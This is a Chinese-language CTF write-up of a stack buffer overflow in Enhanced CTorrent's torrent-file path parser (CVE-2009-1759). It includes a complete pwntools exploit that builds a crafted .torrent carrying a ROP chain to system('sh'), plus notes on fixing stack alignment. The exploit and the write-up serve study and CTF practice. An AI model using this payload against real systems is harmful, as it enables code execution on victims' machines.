Overall
.torrent文件是BT种子文件格式,CTorrent是该文件格式的解析器。由于解析器解析过程中某个解析函数缺少长度检测,在解析由用户可控大小的Path时会将用户输入memcpy到栈上定长buffer,可造成栈溢出,ROP提权。
复现契机来自于强网先锋[强网杯2021final]
Details
ctf赛题为Enhanced CTorrentdnh3.3.1的nday,尝试下载对应版本的ctorrent源码,可以看到在解析torrent文件时会调用btfiles.cpp/btFiles::BuildFromMI()
关键部分如上图,可以看到path为定长数组,在decode_list2path()中将其作为参数传入。bencode.cpp/decode_list2path()将用户指定大小的内容memcpy到path中,而并没有进行长度检测,导致溢出。
bencode为BT种子的编码格式,详见 https://zh.wikipedia.org/wiki/Bencode
经过分析,该函数是在解析torrent结构的FILES时,若path是list时调用的解析函数。我们可以精心构造path,通过栈溢出去做ROP or shellcode.
以强网先锋为例,exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'info'
context.terminal = ['tmux', 'splitw', '-h', '-p', '75']
io = process("./ctorrent", aslr=False)
# 0x15555502aea2 -> crash
# 0x402c7f ret
# 0x402c7e pop rdi, ret
# 0x400f24 "sh\x00"
# 0x4022A0 system
# p64(0x402c7f) +
rop = b'A' * 4152 + p64(0x402c7f) + p64(0x402c7e) + p64(0x400f24) + p64(0x4022A0)
size = 4176 + 8
pay = b"d"
pay += b"8:announce"
pay += b"20:http://0000/announce"
pay += b"13:creation date"
pay += b"i1111e"
pay += b"4:info"
pay += b"d"
################
pay += b"5:files"
pay += b"ld"
pay += b"4:path"
pay += b"l"
pay += bytes(str(size).encode("utf-8")) + b":"
pay += rop # when parsing, memcpy to stack causing oveflow.
pay += b"e"
pay += b"6:length"
pay += b"i2222e"
pay += b"ee"
################
pay += b"4:name"
pay += b"4:4444"
pay += b"12:piece length"
pay += b"i3333e"
pay += b"6:pieces"
pay += b"20:" + bytes.fromhex("9f3d4e7c80e58146707d9e8ace218ee33cefeca9")
pay += b"ee"
# with open("./vul.torrent", "wb") as f:
# f.write(pay)
# with open("./pay", "rb") as f:
# pay = f.read()
# b *0x40a2d8
# gdb.attach(io, "b *0x15555502afbc")
# print(pay)
io.sendlineafter(" Size of your torrent file >\n", str(len(pay)))
io.sendlineafter("Please input your torrent file >\n", pay)
io.interactive()
|
读者可以在0x40a2d8处断下,体会溢出点在哪儿。
More
这题直接跳转到system(“sh\x00”)并不能打通,调试system函数发现在该位置处产生segment fault.
查阅资料发现
movaps:单精度浮点数指令,必须16字节对齐
movups:单精度浮点数指令,不需要16字节对齐
所以需要再找一个ret的gadget,把栈向上抬到任意16字节对齐的位置即可。
成功打通
事后找到了出现类似问题的帖子 看来也算是自己重新踩了一遍坑。
Reference
https://www.securityfocus.com/bid/34584/discuss
https://www.scaprepo.com/control.jsp?command=search&search=CVE-2009-1759&SCAP-TOKEN=O1B0-JQFA-GM0R-MFK8-VQE6-JHQX-JFU0-FJVG
https://www.exploit-db.com/exploits/8470